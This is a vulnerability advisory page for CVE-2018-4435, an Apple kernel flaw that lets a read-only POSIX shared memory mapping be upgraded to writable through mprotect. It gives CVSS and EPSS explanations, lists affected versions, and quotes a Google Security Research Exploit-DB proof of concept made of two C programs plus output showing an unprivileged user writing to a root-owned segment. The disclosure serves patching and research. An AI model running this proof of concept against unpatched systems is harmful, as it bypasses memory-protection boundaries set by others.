CVE-2018-4435 : Detail

CVE-2018-4435

7.8
/
High
A03-Injection
4.86%V4
Local
2019-04-03
15h43 +00:00
2019-04-03
15h43 +00:00
CVE.org
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CVE Descriptions

A logic issue was addressed with improved restrictions. This issue affected versions prior to iOS 12.1.1, macOS Mojave 10.14.2, tvOS 12.1.1, watchOS 5.1.2.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45960

Publication date : 2018-12-10 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

When the mmap() syscall is invoked on a POSIX shared memory segment (DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the address space of the calling process. It does this with the following code: int prot = uap->prot; [...] if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) { return(EPERM); } [...] kret = vm_map_enter_mem_object( user_map, &user_addr, map_size, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, vmk_flags, VM_KERN_MEMORY_NONE, pshmobj->pshmo_memobject, file_pos - map_pos, docow, prot, VM_PROT_DEFAULT, VM_INHERIT_SHARE); vm_map_enter_mem_object() has the following declaration: /* Enter a mapping of a memory object */ extern kern_return_t vm_map_enter_mem_object( vm_map_t map, vm_map_offset_t *address, vm_map_size_t size, vm_map_offset_t mask, int flags, vm_map_kernel_flags_t vmk_flags, vm_tag_t tag, ipc_port_t port, vm_object_offset_t offset, boolean_t needs_copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); This means that `cur_protection` (the initial protection flags for the new memory object) will be `prot`, which contains the requested protection flags, checked against the mode of the open file to ensure that a read-only file descriptor can only be used to create a readonly mapping. However, `max_protection` is always `VM_PROT_DEFAULT`, which is defined as `VM_PROT_READ|VM_PROT_WRITE`. Therefore, an attacker with readonly access to a POSIX shared memory segment can first use mmap() to create a readonly shared mapping of it, then use mprotect() - which is limited by `max_protection` - to gain write access. To reproduce: In terminal 1, as root: ========================================= bash-3.2# cat > create.c #include <sys/mman.h> #include <fcntl.h> #include <err.h> #include <unistd.h> #include <stdio.h> int main(void) { shm_unlink("/jh_test"); int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644); if (fd == -1) err(1, "shm_open"); if (ftruncate(fd, 0x1000)) err(1, "trunc"); char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) err(1, "mmap"); printf("map[0] = 0x%hhx\n", (unsigned char)map[0]); printf("press enter to continue\n"); getchar(); printf("map[0] = 0x%hhx\n", (unsigned char)map[0]); } bash-3.2# cc -o create create.c && ./create map[0] = 0x0 press enter to continue ========================================= In terminal 2, as user: ========================================= Projects-Mac-mini:posix_shm projectzero$ cat > open.c #include <sys/mman.h> #include <fcntl.h> #include <err.h> #include <stdio.h> int main(void) { int fd = shm_open("/jh_test", O_RDWR); if (fd == -1) perror("open RW"); fd = shm_open("/jh_test", O_RDONLY); if (fd == -1) err(1, "open RO"); char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) perror("map RW"); map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0); if (map == MAP_FAILED) err(1, "map RO"); if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect"); map[0] = 0x42; } Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open open RW: Permission denied map RW: Operation not permitted Projects-Mac-mini:posix_shm projectzero$ ========================================= Then, in terminal 1, press enter to continue: ========================================= map[0] = 0x42 bash-3.2# ========================================= This demonstrates that the user was able to write to a root-owned POSIX shared memory segment with mode 0644.

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 12.1.1

Apple>>Mac_os_x >> Version To (excluding) 10.14.2

Apple>>Tvos >> Version To (excluding) 12.1.1

Apple>>Watchos >> Version To (excluding) 5.1.2

References